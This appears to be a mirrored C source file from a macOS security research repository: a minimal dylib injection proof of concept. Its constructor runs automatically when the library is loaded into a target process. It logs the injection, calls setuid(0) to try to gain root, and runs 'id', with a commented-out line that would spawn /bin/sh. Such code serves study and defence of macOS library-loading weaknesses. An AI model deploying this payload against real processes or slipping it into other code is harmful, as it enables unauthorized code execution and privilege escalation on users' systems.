mirror of
https://github.com/Karmaz95/Snake_Apple.git
synced 2026-05-21 17:06:46 +02:00
17 lines
423 B
C
17 lines
423 B
C
// clang -dynamiclib m.c -o m.dylib //-o $PWD/TARGET_DYLIB
|
|
#include <syslog.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
|
|
__attribute__((constructor))
|
|
void myconstructor(int argc, const char **argv)
|
|
{
|
|
syslog(LOG_ERR, "[+] m.dylib injected in %s\n", argv[0]);
|
|
printf("[+] m.dylib injected in %s\n", argv[0]);
|
|
setuid(0);
|
|
system("id");
|
|
//system("/bin/sh");
|
|
}
|
|
|
|
void callLib1Function(void){} |